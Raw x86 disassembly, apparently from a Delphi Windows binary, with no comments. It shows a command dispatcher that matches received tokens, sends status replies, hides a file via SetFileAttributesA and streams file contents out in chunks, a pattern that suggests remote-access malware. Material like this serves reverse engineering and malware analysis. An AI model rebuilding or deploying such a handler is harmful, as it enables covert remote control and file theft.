call fcn.00402f98
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00402ef4
push 0x429cfc
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402eb4
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00402ef4
lea eax, [ebp - 4]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402eb4
mov ebx, dword [0x427624]
mov ebx, dword [ebx]
lea edx, [ebp - 0xc]
mov eax, dword [ebp - 4]
call ebx
push 0x41f9c0
push dword [0x429cfc]
push 0x41f0d8
mov eax, dword [ebp - 0xc]
call fcn.00402c60
add eax, 4
lea edx, [ebp - 0x82e8]
call fcn.00406bb8
push dword [ebp - 0x82e8]
push 0x41f0d8
lea eax, [ebp - 8]
mov edx, 5
call fcn.00402d20
mov dl, 1
mov eax, dword [0x41465c]
call fcn.0040218c
mov dword [ebp - 0x34], eax
mov edx, dword [ebp - 0xc]
mov eax, dword [ebp - 0x34]
call fcn.00415f04
push 0
push 0
mov eax, dword [ebp - 0x34]
call fcn.004148c4
mov eax, dword [0x427470]
mov eax, dword [eax]
mov edx, dword [ebp - 8]
call fcn.004154fc
xor eax, eax
push ebp
push 0x41a595
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 0x34]
call fcn.004148a4
mov esi, eax
lea edx, [ebp - 0x8085]
mov ecx, 0x8001
mov eax, dword [ebp - 0x34]
mov ebx, dword [eax]
call dword [ebx + 8]
mov ebx, eax
test ebx, ebx
jle 0x41a513
lea edx, [ebp - 0x8085]
mov eax, dword [0x427470]
mov eax, dword [eax]
mov ecx, ebx
call fcn.00408d1c
mov ecx, eax
cmp ecx, ebx
jge 0x41a560
lea eax, [ecx + esi]
cdq
push edx
push eax
mov eax, dword [ebp - 0x34]
call fcn.004148c4
jmp 0x41a513
mov eax, dword [ebp - 0x34]
call fcn.004148a4
push edx
push eax
mov eax, dword [ebp - 0x34]
call fcn.004148d8
cmp edx, dword [esp + 4]
jne 0x41a57b
cmp eax, dword [esp]
pop edx
pop eax
jne 0x41a513
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x41a59c
mov eax, dword [ebp - 0x34]
call fcn.004021bc
ret
lea eax, [ebp - 0x82ec]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402eb4
mov eax, dword [ebp - 0x82ec]
mov edx, 0x41f9e0
call fcn.00402da4
jne 0x41a687
cmp dword [0x429cc4], 0
je 0x41a5f6
mov eax, dword [0x429cc4]
call fcn.00405620
mov eax, dword [ebp - 0x44]
mov dword [0x429cc4], eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00402ef4
lea eax, [ebp - 4]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402eb4
push 0x41f9f8
mov ebx, dword [0x427510]
mov ebx, dword [ebx]
lea edx, [ebp - 0x82f0]
mov eax, dword [ebp - 4]
call ebx
push dword [ebp - 0x82f0]
push 0x41f350
lea eax, [ebp - 8]
mov edx, 3
call fcn.00402d20
mov eax, dword [0x427470]
mov eax, dword [eax]
mov edx, dword [ebp - 8]
call fcn.004154fc
mov eax, dword [ebp - 0x44]
call fcn.00405620
jmp 0x41f065
lea eax, [ebp - 0x82f4]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402eb4
mov eax, dword [ebp - 0x82f4]
mov edx, 0x41fa18
call fcn.00402da4
jne 0x41a828
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00402ef4
lea eax, [ebp - 0xc]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402eb4
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00402ef4
lea eax, [ebp - 0x10]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402eb4
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00402ef4
lea eax, [ebp - 0x14]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402eb4
mov eax, dword [ebp - 0x14]
call fcn.00402e58
push eax
mov eax, dword [ebp - 0x10]
call fcn.00402e58
push eax
mov eax, dword [ebp - 0xc]
call fcn.00402e58
mov ebx, dword [0x42758c]
mov ebx, dword [ebx]
pop edx
pop ecx
call ebx
test al, al
je 0x41a7de
push 5
call sub.kernel32.dll_Sleep
push 0x41fa30
mov eax, dword [0x4274c8]
push dword [eax + 0x7c]
push 0x41f0d8
push 0x41f350
lea eax, [ebp - 8]
mov edx, 4
call fcn.00402d20
mov eax, dword [0x427470]
mov eax, dword [eax]
mov edx, dword [ebp - 8]
call fcn.004154fc
jmp 0x41a81b
push 5
call sub.kernel32.dll_Sleep
push 0x41fa30
mov eax, dword [0x4274c8]
push dword [eax + 0x80]
push 0x41f0d8
push 0x41f350
lea eax, [ebp - 8]
mov edx, 4
call fcn.00402d20
mov eax, dword [0x427470]
mov eax, dword [eax]
mov edx, dword [ebp - 8]
call fcn.004154fc
mov eax, dword [ebp - 0x44]
call fcn.00405620
jmp 0x41f065
lea eax, [ebp - 0x82f8]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402eb4
mov eax, dword [ebp - 0x82f8]
mov edx, 0x41fa4c
call fcn.00402da4
jne 0x41a939
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00402ef4
lea eax, [ebp - 4]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402eb4
mov ebx, dword [0x427434]
mov ebx, dword [ebx]
mov eax, dword [ebp - 4]
call ebx
test al, al
je 0x41a8ef
push 5
call sub.kernel32.dll_Sleep
push 0x41fa30
mov eax, dword [0x4274c8]
push dword [eax + 0x84]
push 0x41f0d8
push 0x41f350
lea eax, [ebp - 8]
mov edx, 4
call fcn.00402d20
mov eax, dword [0x427470]
mov eax, dword [eax]
mov edx, dword [ebp - 8]
call fcn.004154fc
jmp 0x41a92c
push 5
call sub.kernel32.dll_Sleep
push 0x41fa30
mov eax, dword [0x4274c8]
push dword [eax + 0x88]
push 0x41f0d8
push 0x41f350
lea eax, [ebp - 8]
mov edx, 4
call fcn.00402d20
mov eax, dword [0x427470]
mov eax, dword [eax]
mov edx, dword [ebp - 8]
call fcn.004154fc
mov eax, dword [ebp - 0x44]
call fcn.00405620
jmp 0x41f065
lea eax, [ebp - 0x82fc]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402eb4
mov eax, dword [ebp - 0x82fc]
mov edx, 0x41fa64
call fcn.00402da4
jne 0x41aab4
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00402ef4
lea eax, [ebp - 0xc]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402eb4
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00402ef4
lea eax, [ebp - 0x10]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402eb4
lea eax, [ebp - 0x1c]
mov ecx, dword [ebp - 0x10]
mov edx, dword [ebp - 0xc]
call fcn.00402cac
mov eax, dword [ebp - 0x1c]
call fcn.00402e58
mov edx, eax
lea eax, [ebp - 0x8300]
call fcn.00402bd0
mov eax, dword [ebp - 0x8300]
mov ebx, dword [0x4275a0]
mov ebx, dword [ebx]
mov ecx, 0x41fa78
xor edx, edx
call ebx
test al, al
je 0x41aa6a
push 5
call sub.kernel32.dll_Sleep
push 0x41fa30
mov eax, dword [0x4274c8]
push dword [eax + 0x8c]
push 0x41f0d8
push 0x41f350
lea eax, [ebp - 8]
mov edx, 4
call fcn.00402d20
mov eax, dword [0x427470]
mov eax, dword [eax]
mov edx, dword [ebp - 8]
call fcn.004154fc
jmp 0x41aaa7
push 5
call sub.kernel32.dll_Sleep
push 0x41fa30
mov eax, dword [0x4274c8]
push dword [eax + 0x90]
push 0x41f0d8
push 0x41f350
lea eax, [ebp - 8]
mov edx, 4
call fcn.00402d20
mov eax, dword [0x427470]
mov eax, dword [eax]
mov edx, dword [ebp - 8]
call fcn.004154fc
mov eax, dword [ebp - 0x44]
call fcn.00405620
jmp 0x41f065
lea eax, [ebp - 0x8304]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402eb4
mov eax, dword [ebp - 0x8304]
mov edx, 0x41fa88
call fcn.00402da4
jne 0x41ac4b
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00402ef4
lea eax, [ebp - 0xc]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402eb4
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00402ef4
lea eax, [ebp - 0x10]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402eb4
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00402ef4
lea eax, [ebp - 0x8308]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402eb4
mov edx, dword [ebp - 0x8308]
mov ebx, dword [0x4275a0]
mov ebx, dword [ebx]
mov ecx, dword [ebp - 0x10]
mov eax, dword [ebp - 0xc]
call ebx
test al, al
je 0x41ac01
push 5
call sub.kernel32.dll_Sleep
push 0x41fa30
mov eax, dword [0x4274c8]
push dword [eax + 0x94]
push 0x41f0d8
push 0x41f350
lea eax, [ebp - 8]
mov edx, 4
call fcn.00402d20
mov eax, dword [0x427470]
mov eax, dword [eax]
mov edx, dword [ebp - 8]
call fcn.004154fc
jmp 0x41ac3e
push 5
call sub.kernel32.dll_Sleep
push 0x41fa30
mov eax, dword [0x4274c8]
push dword [eax + 0x98]
push 0x41f0d8
push 0x41f350
lea eax, [ebp - 8]
mov edx, 4
call fcn.00402d20
mov eax, dword [0x427470]
mov eax, dword [eax]
mov edx, dword [ebp - 8]
call fcn.004154fc
mov eax, dword [ebp - 0x44]
call fcn.00405620
jmp 0x41f065
lea eax, [ebp - 0x830c]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402eb4
mov eax, dword [ebp - 0x830c]
mov edx, 0x41faa0
call fcn.00402da4
jne 0x41ace6
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00402ef4
push 5
call sub.kernel32.dll_Sleep
mov eax, dword [0x4275b0]
cmp byte [eax], 1
jne 0x41acbd
lea eax, [ebp - 8]
mov edx, 0x41fabc
call fcn.00402a7c
jmp 0x41acca
lea eax, [ebp - 8]
mov edx, 0x41faf4
call fcn.00402a7c
mov eax, dword [0x427470]
mov eax, dword [eax]
mov edx, dword [ebp - 8]
call fcn.004154fc
mov eax, dword [ebp - 0x44]
call fcn.00405620
jmp 0x41f065
lea eax, [ebp - 0x8310]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402eb4
mov eax, dword [ebp - 0x8310]
mov edx, 0x41fb30
call fcn.00402da4
jne 0x41adee
cmp dword [0x429cc8], 0
je 0x41ad52
lea eax, [ebp - 8]
mov edx, 0x41fabc
call fcn.00402a7c
mov eax, dword [0x427470]
mov eax, dword [eax]
mov edx, dword [ebp - 8]
call fcn.004154fc
mov eax, dword [0x4275b0]
mov byte [eax], 1
jmp 0x41f065
mov eax, dword [0x4275b0]
mov byte [eax], 1
mov eax, dword [0x427550]
mov eax, dword [eax]
call fcn.00405df4
test al, al
jne 0x41ad7a
mov eax, dword [0x427550]
mov eax, dword [eax]
xor ecx, ecx
xor edx, edx
call fcn.00405b78
mov eax, dword [0x427550]
mov eax, dword [eax]
call fcn.004056f0
push 2
mov eax, dword [0x427550]
mov eax, dword [eax]
call fcn.00402e58
push eax
call sub.kernel32.dll_SetFileAttributesA
mov eax, 0x4109e0
xor ecx, ecx
xor edx, edx
call fcn.004055fc
push 5
call sub.kernel32.dll_Sleep
lea eax, [ebp - 8]
mov edx, 0x41fabc
call fcn.00402a7c
mov eax, dword [0x427470]
mov eax, dword [eax]
mov edx, dword [ebp - 8]
call fcn.004154fc
mov eax, dword [ebp - 0x44]
mov dword [0x429cc8], eax
push 0x3e8
call sub.kernel32.dll_Sleep
jmp 0x41add3
lea eax, [ebp - 0x8314]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402eb4
mov eax, dword [ebp - 0x8314]
mov edx, 0x41fb48
call fcn.00402da4
jne 0x41aea0
cmp dword [0x429cc8], 0
jne 0x41ae53
lea eax, [ebp - 8]
mov edx, 0x41faf4
call fcn.00402a7c
mov eax, dword [0x427470]
mov eax, dword [eax]
mov edx, dword [ebp - 8]
call fcn.004154fc
mov eax, dword [0x4275b0]
mov byte [eax], 0
jmp 0x41ae93
mov eax, dword [0x429cc8]
call fcn.00405620
cmp al, 1
jne 0x41ae93
mov eax, dword [0x4275b0]
mov byte [eax], 0
xor eax, eax
mov dword [0x429cc8], eax
push 5
call sub.kernel32.dll_Sleep
lea eax, [ebp - 8]
mov edx, 0x41faf4
call fcn.00402a7c
mov eax, dword [0x427470]
mov eax, dword [eax]
mov edx, dword [ebp - 8]
call fcn.004154fc
mov eax, dword [ebp - 0x44]
call fcn.00405620
jmp 0x41f065
lea eax, [ebp - 0x8318]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402eb4
mov eax, dword [ebp - 0x8318]
mov edx, 0x41fb64
call fcn.00402da4
jne 0x41af17
mov eax, dword [0x427550]
mov eax, dword [eax]
call fcn.00402e58
mov edx, eax
lea eax, [ebp - 0x831c]
call fcn.00402bd0
mov eax, dword [ebp - 0x831c]
call fcn.00405e60
mov eax, dword [0x427550]
mov eax, dword [eax]
xor ecx, ecx
xor edx, edx
call fcn.00405b78
mov eax, dword [ebp - 0x44]
call fcn.00405620
jmp 0x41f065
lea eax, [ebp - 0x8320]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402eb4
mov eax, dword [ebp - 0x8320]
mov edx, 0x41fb80
call fcn.00402da4
jne 0x41b256
push 0
mov ecx, dword [0x427550]
mov ecx, dword [ecx]
mov dl, 1
mov eax, dword [0x414748]
call fcn.00414aec
mov dword [ebp - 0x38], eax
push 0
push 0
mov eax, dword [ebp - 0x38]
call fcn.004148c4
mov eax, dword [ebp - 0x38]
call fcn.004148d8
cmp edx, 0
jne 0x41af8a
cmp eax, 0
ja 0x41afbc
jmp 0x41af8c
jg 0x41afbc
mov eax, dword [ebp - 0x38]
call fcn.004021bc
push 5
call sub.kernel32.dll_Sleep
lea eax, [ebp - 8]
mov edx, 0x41fb98
call fcn.00402a7c
mov eax, dword [0x427470]
mov eax, dword [eax]
mov edx, dword [ebp - 8]
call fcn.004154fc
jmp 0x41f065
mov dl, 1
mov eax, dword [0x4089d4]
call fcn.0040218c
mov dword [ebp - 0x3c], eax
lea edx, [ebp - 0x8324]
mov eax, dword [0x427470]
mov eax, dword [eax]
call fcn.00408b44
mov eax, dword [ebp - 0x8324]
push eax
mov eax, dword [0x427470]
mov eax, dword [eax]
call fcn.00408b78
mov ecx, eax
mov eax, dword [ebp - 0x3c]
pop edx
call fcn.00408a30
xor eax, eax
push ebp
push 0x41b05e
push dword fs:[eax]
mov dword fs:[eax], esp
push 0xb
lea eax, [ebp - 0x832c]
push eax
mov eax, dword [0x4273dc]
mov eax, dword [eax]
mov cx, 0xb
mov dx, 0xb
call fcn.00407350
push dword [ebp - 0x832c]
push 0x41f0d8
push 0x41f350
lea eax, [ebp - 0x8328]
mov edx, 3
call fcn.00402d20
mov edx, dword [ebp - 0x8328]
mov eax, dword [ebp - 0x3c]
call fcn.00408d54
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x41b068
push 0x1f4
call sub.kernel32.dll_Sleep
mov eax, dword [ebp - 0x3c]
cmp byte [eax + 0x10], 1
jne 0x41b239
lea eax, [ebp - 0xc]
call fcn.004029e4
jmp 0x41b0b5
lea edx, [ebp - 0x3d]
mov ecx, 1
mov eax, dword [ebp - 0x3c]
call fcn.00408c14
lea eax, [ebp - 0x8330]
mov dl, byte [ebp - 0x3d]
call fcn.00402bc0
mov edx, dword [ebp - 0x8330]
lea eax, [ebp - 0xc]
call fcn.00402c68
mov edx, dword [ebp - 0xc]
mov eax, 0x41fbbc
call fcn.00402f98
test eax, eax
je 0x41b089
push 0x41fbc8
push dword [0x429ce4]
push 0x41f0d8
push 0x41fbe0
push 0x41f0d8
push 0x41f350
lea eax, [ebp - 0x8334]
mov edx, 6
call fcn.00402d20
mov edx, dword [ebp - 0x8334]
mov eax, dword [ebp - 0x3c]
call fcn.00408d54
push 0x41fbf4
mov eax, dword [ebp - 0x38]
call fcn.004148d8
push edx
push eax
lea eax, [ebp - 0x833c]
call fcn.00406cac
push dword [ebp - 0x833c]
push 0x41f0d8
push 0x41f350
lea eax, [ebp - 0x8338]
mov edx, 4
call fcn.00402d20
mov edx, dword [ebp - 0x8338]
mov eax, dword [ebp - 0x3c]
call fcn.00408d54
xor eax, eax
push ebp
push 0x41b232
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 0x38]
call fcn.004148a4
mov esi, eax
lea edx, [ebp - 0x8085]
mov ecx, 0x8001
mov eax, dword [ebp - 0x38]
mov ebx, dword [eax]
call dword [ebx + 8]
mov ebx, eax
test ebx, ebx
jle 0x41b159
lea eax, [ebp - 0x10]
mov edx, ebx
call fcn.00402fe0
lea eax, [ebp - 0x10]
call fcn.00402eac
lea edx, [ebp - 0x8085]
mov ecx, ebx
call fcn.004045ac
lea ecx, [ebp - 0x8340]
mov edx, 0x41fc10
mov eax, dword [ebp - 0x10]
call fcn.00406fc4
mov edx, dword [ebp - 0x8340]
lea eax, [ebp - 0x10]
call fcn.00402a7c
lea eax, [ebp - 0x10]
call fcn.00402eac
mov edx, eax
mov ecx, ebx
mov eax, dword [ebp - 0x3c]
call fcn.00408d1c
mov ecx, eax
cmp ecx, ebx
jge 0x41b1e9
lea eax, [ecx + esi]
cdq
push edx
push eax
mov eax, dword [ebp - 0x38]
call fcn.004148c4
jmp 0x41b159
mov eax, dword [ebp - 0x38]
call fcn.004148a4
push edx
push eax
mov eax, dword [ebp - 0x38]
call fcn.004148d8
cmp edx, dword [esp + 4]
jne 0x41b204
cmp eax, dword [esp]
pop edx
pop eax
jne 0x41b159
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x41b249
mov eax, dword [ebp - 0x38]
call fcn.004021bc
mov eax, dword [ebp - 0x3c]
call fcn.00408af0
mov eax, dword [ebp - 0x3c]
call fcn.004021bc
ret
mov eax, dword [ebp - 0x38]
call fcn.004021bc
mov eax, dword [ebp - 0x3c]
call fcn.004021bc
mov eax, dword [ebp - 0x44]
call fcn.00405620
jmp 0x41f065
lea eax, [ebp - 0x8344]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402eb4
mov eax, dword [ebp - 0x8344]
mov edx, 0x41fc20
call fcn.00402da4
jne 0x41b417
cmp dword [0x429ccc], 0
je 0x41b2d6
xor eax, eax
push ebp
push 0x41b2c5
push dword fs:[eax]
mov dword fs:[eax], esp
mov ebx, dword [0x4275d8]
mov ebx, dword [ebx]
call ebx
mov eax, dword [0x429ccc]
call fcn.00405620
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x41b2cf
xor eax, eax
mov dword [0x429ccc], eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00402ef4
lea eax, [ebp - 0x10]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402eb4
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00402ef4
lea eax, [ebp - 0x14]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402eb4
mov eax, dword [0x4275a8]
mov edx, 0x18
call fcn.004045b4
mov eax, dword [0x4275a8]
mov edx, dword [0x4273dc]
mov edx, dword [edx]
call fcn.00402a38
lea edx, [ebp - 0x8348]
mov eax, dword [0x427470]
mov eax, dword [eax]
call fcn.00408b44
mov edx, dword [ebp - 0x8348]
mov eax, dword [0x4275a8]
add eax, 4
call fcn.00402a38
mov eax, dword [0x427470]
mov eax, dword [eax]
call fcn.00408b78
mov edx, dword [0x4275a8]
mov dword [edx + 8], eax
mov eax, dword [0x4275a8]
add eax, 0xc
mov edx, dword [0x429ce4]
call fcn.00402a38
mov eax, dword [ebp - 0x14]
call fcn.00406cd4
mov edx, dword [0x4275a8]
mov dword [edx + 0x10], eax
mov eax, dword [ebp - 0x10]
call fcn.00406cd4
mov edx, dword [0x4275a8]
mov dword [edx + 0x14], eax
mov ebx, dword [0x42762c]
mov ebx, dword [ebx]
mov eax, dword [0x4275a8]
call ebx
mov eax, dword [ebp - 0x44]
mov dword [0x429ccc], eax
mov ebx, dword [0x427620]
mov ebx, dword [ebx]
xor eax, eax
call ebx
push 0x3e8
call sub.kernel32.dll_Sleep
jmp 0x41b403
lea eax, [ebp - 0x834c]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402eb4
mov eax, dword [ebp - 0x834c]
mov edx, 0x41fc34
call fcn.00402da4
jne 0x41b4a0
cmp dword [0x429ccc], 0
je 0x41b493
xor eax, eax
push ebp
push 0x41b482
push dword fs:[eax]
mov dword fs:[eax], esp
mov ebx, dword [0x4275d8]
mov ebx, dword [ebx]
call ebx
mov eax, dword [0x429ccc]
call fcn.00405620
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x41b48c
xor eax, eax
mov dword [0x429ccc], eax
mov eax, dword [ebp - 0x44]
call fcn.00405620
jmp 0x41f065
lea eax, [ebp - 0x8350]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402eb4
mov eax, dword [ebp - 0x8350]
mov edx, 0x41fc48
call fcn.00402da4
jne 0x41b5e4
cmp dword [0x429cd0], 0
je 0x41b4ed
mov eax, dword [0x429cd0]
call fcn.00405620
xor eax, eax
mov dword [0x429cd0], eax
push 5
call sub.kernel32.dll_Sleep
push 0x41fc60
mov eax, dword [0x4274c8]
push dword [eax + 8]
push 0x41f0d8
push 0x41f350
lea eax, [ebp - 8]
mov edx, 4
call fcn.00402d20
mov eax, dword [0x427470]
mov eax, dword [eax]
mov edx, dword [ebp - 8]
call fcn.004154fc
lea edx, [ebp - 0x10]
lea eax, [ebp - 0x28]
call fcn.00421518
mov eax, dword [ebp - 0x10]
mov edx, 0x41f0d8
call fcn.00402da4
jne 0x41b571
push 0x41fc60
mov eax, dword [0x4274c8]
push dword [eax + 0xb4]
push 0x41f0d8
push 0x41f350
lea eax, [ebp - 8]
mov edx, 4
call fcn.00402d20
jmp 0x41b5d7
push 0x41fc80
push dword [ebp - 0x10]
push 0x41f350
lea eax, [ebp - 8]
mov edx, 3
call fcn.00402d20
mov eax, dword [0x427470]
mov eax, dword [eax]
mov edx, dword [ebp - 8]
call fcn.004154fc
push 5
call sub.kernel32.dll_Sleep
push 0x41fc60
mov eax, dword [0x4274c8]
push dword [eax + 0xb8]
push 0x41f0d8
push 0x41f350
lea eax, [ebp - 8]
mov edx, 4
call fcn.00402d20
mov eax, dword [0x427470]
mov eax, dword [eax]
mov edx, dword [ebp - 8]
call fcn.004154fc
mov eax, dword [ebp - 0x44]
call fcn.00405620
jmp 0x41f065
lea eax, [ebp - 0x8354]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402eb4
mov eax, dword [ebp - 0x8354]
mov edx, 0x41fca4
call fcn.00402da4
jne 0x41b700
cmp dword [0x429cd0], 0
je 0x41b631
mov eax, dword [0x429cd0]
call fcn.00405620
xor eax, eax
mov dword [0x429cd0], eax
push 5
call sub.kernel32.dll_Sleep
push 0x41fc60
mov eax, dword [0x4274c8]
push dword [eax + 8]
push 0x41f0d8
push 0x41f350
lea eax, [ebp - 8]
mov edx, 4
call fcn.00402d20
mov eax, dword [0x427470]
mov eax, dword [eax]
mov edx, dword [ebp - 8]
call fcn.004154fc
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00402ef4
lea eax, [ebp - 0x10]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402eb4
cmp dword [0x429cd4], 0
je 0x41b6c2
mov eax, dword [0x429cd4]
call fcn.00405620
xor eax, eax
mov dword [0x429cd4], eax
mov eax, dword [0x4274bc]
mov edx, 4
call fcn.004045b4
mov eax, dword [0x4274bc]
mov edx, dword [ebp - 0x10]
call fcn.00402a38
mov eax, dword [ebp - 0x44]
mov dword [0x429cd4], eax
xor eax, eax
call fcn.004217d4
push 0x3e8
call sub.kernel32.dll_Sleep
jmp 0x41b6f4
lea eax, [ebp - 0x8358]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402eb4
mov eax, dword [ebp - 0x8358]
mov edx, 0x41fcbc
call fcn.00402da4
jne 0x41b8db
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00402ef4
lea eax, [ebp - 0x10]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402eb4
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
